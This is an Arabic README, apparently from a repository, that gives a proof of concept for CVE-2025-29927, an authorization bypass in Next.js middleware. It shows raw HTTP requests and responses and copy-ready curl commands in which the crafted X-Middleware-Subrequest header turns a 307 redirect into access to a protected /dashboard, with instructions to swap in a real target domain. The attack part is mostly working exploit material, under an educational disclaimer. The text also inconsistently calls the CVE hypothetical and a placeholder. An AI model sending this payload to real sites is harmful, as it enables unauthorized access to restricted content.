
تجاوز التفويض في الوسيطة (Middleware) لـ Next.js
يحتوي هذا المستودع على إثبات مفهوم (PoC) للثغرة CVE-2025-29927، وهي ثغرة افتراضية توضح خللاً في معالجة الوسيطة (middleware) داخل تطبيق ويب. يوضح PoC كيف يمكن لطلب HTTP مصمم خصيصًا تجاوز منطق إعادة التوجيه للوصول إلى محتوى مقيد، مثل لوحة التحكم. هذا المشروع مخصص للأغراض التعليمية والبحثية الأمنية فقط.
تنصل: هذا PoC مخصص للاستخدام في بيئات خاضعة للرقابة بإذن صريح. الاختبار غير المصرح به ضد أنظمة لا تملكها أو ليس لديك موافقة على اختبارها غير قانوني وغير أخلاقي.
لمتابعة هذا PoC، ستحتاج إلى:
abc.com) يعمل بتكوين ضعيف (برنامج/إصدار محدد سيتم تحديده بناءً على تفاصيل CVE).curl (curl.se)، أو Burp Suite (portswigger.net/burp)، أو برنامج نصي مخصص.يبدو أن CVE-2025-29927 (عنصر نائب؛ يُستبدل بتفاصيل CVE الرسمية عند توفرها) يستغل سوء تكوين الوسيطة أو خللاً في المنطق. يوضح PoC أن إضافة رأس مخصص (X-Middleware-Subrequest) يغير سلوك الخادم، متجاوزًا آلية إعادة التوجيه للوصول إلى المحتوى المقيد. من المحتمل أن يرتبط هذا بكيفية معالجة الوسيطة (مثل Nginx مع Next.js) للطلبات الفرعية أو التحقق من صحة الرؤوس.
لمزيد من المعلومات حول ثغرات الوسيطة، راجع أمان الوسيطة من OWASP.
يتكون PoC من خطوتين: طلب أولي غير ناجح وطلب معدل ناجح. تتضمن كل خطوة طلب HTTP والاستجابة وشرحًا مفصلاً.
توضح هذه الخطوة سلوك الخادم الافتراضي عند الوصول إلى نقطة النهاية /dashboard بدون رؤوس إضافية.
GET /dashboard HTTP/1.1
Host: abc.com
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
HTTP/1.1 307 Temporary Redirect
Server: nginx/1.14.1
Date: Sun, 23 Mar 2025 22:02:08 GMT
Connection: keep-alive

GET /dashboard: يحاول الوصول إلى نقطة نهاية لوحة التحكم.User-Agent و Accept تحاكي طلب متصفح نموذجي.307 Temporary Redirect: يشير إلى أن الخادم يعيد توجيه العميل، على الأرجح بسبب المصادقة أو التفويض أو منطق التوجيه (مثل إعادة التوجيه إلى صفحة تسجيل الدخول).Server: nginx/1.14.1: يحدد برنامج خادم الويب./dashboard. يشير عدم وجود رأس Location في هذه الاستجابة (ربما تم حذفه للاختصار) إلى أن وجهة إعادة التوجيه في مكان آخر.تقدم هذه الخطوة رأسًا مخصصًا لتجاوز إعادة التوجيه، مما يؤدي إلى استرداد محتوى لوحة التحكم بنجاح.
GET /dashboard HTTP/1.1
Host: abc.com
X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
HTTP/1.1 200 OK
Server: nginx/1.14.1
Date: Sun, 23 Mar 2025 22:04:04 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Accept-Encoding
X-Powered-By: Next.js
Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate
Content-Length: 30174

X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware: رأس مخصص تمت إضافته إلى الطلب الأصلي. قد تستغل السلسلة المتكررة middleware خللاً في تحليل أو التحقق من صحة مكدس الوسيطة.200 OK: يؤكد الوصول الناجح إلى محتوى لوحة التحكم.Content-Type: text/html; charset=utf-8: يشير إلى استجابة HTML، على الأرجح صفحة لوحة التحكم.X-Powered-By: Next.js: يقترح أن التطبيق يستخدم Next.js، وهو إطار عمل React يعتمد غالبًا على الوسيطة في التوجيه.Cache-Control: يمنع التخزين المؤقت، وهو أمر نموذجي للمحتوى الديناميكي الخاص بالمستخدم.Content-Length: 30174: حجم نص الاستجابة بالبايت.X-Middleware-Subrequest يخدع الوسيطة لتعامل الطلب كطلب فرعي شرعي، متجاوزًا منطق إعادة التوجيه. قد يشير هذا إلى ثغرة في كيفية التحقق من صحة الطلبات الفرعية أو معالجتها.اتبع هذه الخطوات لتكرار PoC باستخدام curl:
curl -v "http://abc.com/dashboard" \
-H "Host: abc.com" \
-H "Accept-Language: en-US,en;q=0.9" \
-H "Upgrade-Insecure-Requests: 1" \
-H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" \
-H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" \
-H "Accept-Encoding: gzip, deflate, br" \
-H "Connection: keep-alive"
المخرج المتوقع: استجابة 307 Temporary Redirect.
curl -v "http://abc.com/dashboard" \
-H "Host: abc.com" \
-H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware" \
-H "Accept-Language: en-US,en;q=0.9" \
-H "Upgrade-Insecure-Requests: 1" \
-H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" \
-H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" \
-H "Accept-Encoding: gzip, deflate, br" \
-H "Connection: keep-alive"
المخرج المتوقع: استجابة 200 OK مع محتوى لوحة التحكم.
ملاحظة: استبدل abc.com بالنطاق الهدف الفعلي إذا كنت تختبر في بيئة مصرح بها.
curl لطلبات HTTP.هذا المشروع مرخص بموجب رخصة MIT. راجع ملف LICENSE للحصول على التفاصيل.